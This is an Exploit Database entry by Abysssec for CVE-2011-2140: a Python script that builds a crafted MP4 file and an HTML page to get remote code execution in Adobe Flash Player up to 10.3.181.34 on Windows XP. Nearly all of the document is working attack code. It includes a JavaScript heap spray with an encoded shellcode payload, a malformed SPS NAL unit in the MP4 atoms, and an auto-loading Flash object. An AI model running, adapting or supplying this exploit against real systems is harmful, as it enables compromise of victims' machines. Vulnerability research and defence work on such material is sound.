Adobe Flash Player - MP4 SequenceParameterSetNALUnit Remote Code Execution

EDB-ID:

18437


Author:

Abysssec

Type:

remote


Platform:

Windows

Date:

2012-01-31


# Abysssec Public Exploit
# CVE-2011-2140 
# This exploit tested on Adobe Flash Player <= 10.3.181.34 ( XP sp3 )
# twitter : @abysssec
# contact : info [at] abysssec.com 
# http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability
#
# Full PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18437.zip (CVE-2011-2140.zip)
#

import sys

def spray_heap():
    spray = '''
    function spray_heap()
        {

var payload = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
var spray = unescape("%u9090%u9090"); 
 
 do { 
       spray += spray; 
    }
 while(spray.length < 0xA0000); 
 
 memory = new Array(); 
 
 for(i = 0; i < 100; i++) 
     memory[i] = spray + payload; 


}
        '''
        
    return spray
    
def createMP4():
	mp4 = ""
	ftypAtom = "\x00\x00\x00\x20\x66\x74\x79\x70\x69\x73\x6F\x6D\x00\x00\x02\x00\x69\x73\x6F\x6D\x69\x73\x6F\x32\x61\x76\x63\x31\x6D\x70\x34\x31"
	
	mdatAtom = "\x00\x00\x00\x10\x6D\x64\x61\x74\x00\x00\x02\x8B\x06\x05\xFF\xFF"
	
	moovAtom1 = "\x00\x00\x08\x83\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64\x00\x00\x00\x00\x7C\x25\xB0\x80\x7C\x25\xB0\x80\x00"
	moovAtom1 +="\x00\x03\xE8\x00\x00\x2F\x80\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x03\x00\x00\x02\xFA\x74\x72\x61\x6B\x00\x00\x00\x5C\x74\x6B\x68\x64\x00\x00\x00\x0F\x7C\x25\xB0\x80\x7C"
	moovAtom1 +="\x25\xB0\x80\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02\x72\x6D\x64\x69\x61\x00"
	moovAtom1 +="\x00\x00\x20\x6D\x64\x68\x64\x00\x00\x00\x00\x7C\x25\xB0\x80\x7C\x25\xB0\x80\x00\x00\x00\x01\x00\x00\x00\x0C\x55"
	moovAtom1 +="\xC4\x00\x00\x00\x00\x00\x2D\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x76\x69\x64\x65\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x56\x69\x64\x65\x6F\x48\x61\x6E\x64\x6C\x65\x72\x00\x00\x00\x02\x1D\x6D\x69\x6E\x66"
	moovAtom1 +="\x00\x00\x00\x14\x76\x6D\x68\x64\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6E\x66"
	moovAtom1 +="\x00\x00\x00\x1C\x64\x72\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x72\x6C\x20\x00\x00\x00\x01"
	moovAtom1 +="\x00\x00\x09\xDD\x73\x74\x62\x6C\x00\x00\x08\x99\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x08\x89"
	moovAtom1 +="\x61\x76\x63\x31\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x01\x42\x01\x42\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom1 +="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xFF\xFF\x00\x00"
	moovAtom1 +="\x08\x33\x61\x76\x63\x43\x01\x64\x00\x15\xFF\xE1"
	
	# SPSUnit = SPSUnit Len (2 bytes) + NAL Header (1 byte) + profile_idc (1 byte) + Flags and Reserved (1 byte) + levelidc (1 byte) + 
	#			seq_parameter_set_id (variable) + log2_max_frame_num_minus4 (variable) + pic_order_cnt_type = 1 (variable) +
	#           delta_pic_order_always_zero_flag (1 bit) + offset_for_non_ref_pic (num_ref_frames_in_pic_order_cnt_cycle) + offset_for_top_to_bottom_field (variable) + 
	#           num_ref_frames_in_pic_order_cnt_cycle (num_ref_frames_in_pic_order_cnt_cycle) + other bytes
	SPSUnit =  "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
	SPSUnit += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
	SPSUnit += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18"
	SPSUnit += "\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81"
	SPSUnit += "\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18"
	SPSUnit += "\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81"
	SPSUnit += "\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18"
	SPSUnit += "\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81"
	SPSUnit += "\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18"
	SPSUnit += "\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80"
	SPSUnit += "\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00"
	SPSUnit += "\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00"
	SPSUnit += "\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00"
	SPSUnit += "\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00"
	SPSUnit += "\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00"
	SPSUnit += "\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
	SPSUnit += "\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C"
	SPSUnit += "\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0"
	SPSUnit += "\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C"
	SPSUnit += "\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0"
	SPSUnit += "\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C"
	SPSUnit += "\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0"
	SPSUnit += "\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C"
	SPSUnit += "\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0"
	SPSUnit += "\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00"
	SPSUnit += "\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00"
	SPSUnit += "\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00"
	SPSUnit += "\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00"
	SPSUnit += "\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00"
	SPSUnit += "\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00"
	SPSUnit += "\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06"
	SPSUnit += "\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60"
	SPSUnit += "\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06"
	SPSUnit += "\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60"
	SPSUnit += "\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06"
	SPSUnit += "\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60"
	SPSUnit += "\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06"
	SPSUnit += "\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60"
	SPSUnit += "\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00"
	SPSUnit += "\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00"
	SPSUnit += "\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00"
	SPSUnit += "\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00"
	SPSUnit += "\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00"
	SPSUnit += "\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00"
	SPSUnit += "\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03"
	SPSUnit += "\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30"
	SPSUnit += "\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03"
	SPSUnit += "\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30"
	SPSUnit += "\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03"
	SPSUnit += "\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30"
	SPSUnit += "\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03"
	SPSUnit += "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30"
	SPSUnit += "\x00\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00"
	SPSUnit += "\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00"
	SPSUnit += "\x00\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00"
	SPSUnit += "\x00\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00"
	SPSUnit += "\x00\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00"
	SPSUnit += "\x01\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00"
	SPSUnit += "\x18\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01"
	SPSUnit += "\x81\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18"
	SPSUnit += "\x18\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81"
	SPSUnit += "\x81\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18"
	SPSUnit += "\x18\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81"
	SPSUnit += "\x81\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18"
	SPSUnit += "\x18\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81"
	SPSUnit += "\x80\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18"
	SPSUnit += "\x00\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80"
	SPSUnit += "\x00\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00"
	SPSUnit += "\x00\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00"
	SPSUnit += "\x00\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x30\x30\x00\x00\x00\x18\x18\x18\x18\x00\x00"
	SPSUnit += "\x00\x0C\x0C\x0C\x0C\x00\x00\x00\x06\x06\x06\x06\x00\x00\x00\x03\x03\x03\x03\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00"
	SPSUnit += "\x00\xC0\xC0\xC0\xC0\x00\x00\x00\x60\x60\x60\x60\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"
			   
	moovAtom2 = "\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x14\x73"
	moovAtom2 += "\x74\x73\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x70\x63\x74\x74\x73\x00\x00\x00\x00\x00\x00"
	moovAtom2 += "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
	moovAtom2 += "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
	moovAtom2 += "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
	moovAtom2 += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x1C\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
	moovAtom2 += "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x44\x73\x74\x73\x7A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	moovAtom2 += "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07\x63"
	moovAtom2 += "\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39\x00\x00\x00\x40\x73\x74\x63\x6F\x00"
	moovAtom2 += "\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4\x00\x00"
	moovAtom2 += "\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"
    
	moovAtom = moovAtom1 + SPSUnit + moovAtom2 
	
	mp4 = ftypAtom + mdatAtom + moovAtom
	
	return mp4
	
def main():
    try:
		fHtml = open('exploit.html', 'wb+')
		contentHTML = '<html><script  type="text/javascript">' + spray_heap() + '</script><body onload = "spray_heap()"><object width="320" height="204" type="application/x-shockwave-flash" data="mediaplayer.swf?autostart=true&image=video.jpg&file=exploit.mp4"><param name="movie" value="mediaplayer.swf?autostart=true&image=video.jpg&file=exploit.mp4"></object></body></html>'
		fHtml.write(contentHTML)
		fHtml.close()
		
		fMP4 = open('exploit.mp4', 'wb+')
		fMP4.write(createMP4())
		fMP4.close()
		print '[-] MP4 and Html files generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
            
if __name__ == '__main__':
    main()